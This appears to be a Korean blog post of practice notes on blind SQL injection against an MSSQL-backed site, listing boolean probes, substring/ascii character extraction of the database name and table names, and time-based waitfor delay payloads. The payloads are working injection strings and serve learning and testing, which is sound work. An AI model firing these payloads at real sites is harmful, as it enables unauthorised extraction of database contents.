Blind SQL Injection 실습
- DB 에러 페이지가 노출되지 않거나, 취약점 존재를 판단하기 어려운 경우.
방법: 참/거짓 쿼리의 반응이 서로 다름을 확인. 참 쿼리 대상의 반응, 거짓 쿼리의 대상의 반응이 다를 때.
EX) Oyesmall 데이터베이스라고 치면.. DB_NAME()의 첫번째 글자가 'a'니?
점검 방법
True query: ' and 1=1 --
False query: ' and 1=2 --
[db_name]
- DB 이름 확인(error_based): 'and db_name() > 1 --
- DB 이름 확인(blind_based): db_name()의 첫 글자 (a~z). substring 함수를 이용한다.
※ substring(원하는 문자열, 시작점, 글자수): 문자열에서 원하는 문자열 추출
※ 참고로 substring은 mssql 또는 mysql에서 사용함.
(query) ' and 'a' = substring(db_name(),1,1) --
...
(query) ' and 'o' = substring(db_name(),1,1) --
[아스키코드값으로 찾기]
(query) ' and 61 = ascii(substring(db_name(),1,1)) --
(query) ' and 111 = ascii(substring(db_name(),1,1)) --
#여기서 꿀팁: 아스키코드값으로 찾으면 좋은점이.. 나중에 스크립트 짤 때 이진트리탐색 시 ㅈㄴ금방 찾는다.
문자열로도 대소비교 할 수 있지만, DBMS마다 소문자와 대문자 문자열 대소비교값이 다르다.
[information_schema.tables]
(query) ' and 111 = ascii(substring((select top 1 table_name from information_schema.tables),1,1)) --
첫 번째 테이블명으로도 찾을 수 있음
[db_name()] 부분과 같아 ㅋ설명생략
Blind SQL Injection - Time-based SQL Injection
- 점검 구문
(true query) '; if 1=1 waitfor delay '0:0:3' ---
(false query) '; if 1=2 waitfor delay '0:0:3' ---
(query) '; if 111 = ascii(substring(db_name(),1,1)) waitfor delay '0:0:3' --
참일 때 3초 딜레이시킨다.
'보안 > 웹·모바일' 카테고리의 다른 글
파일 업로드 취약점 실습 (0) | 2022.07.15 |
---|---|
XSS (Cross Site Script) 실습 (0) | 2022.07.15 |
특수문자 필터링, 정규표현식 for JavaScript (0) | 2022.07.15 |
Load of SQLInjection 문제풀이 (0) | 2022.07.15 |
Union SQL Injection 실습 (0) | 2022.07.14 |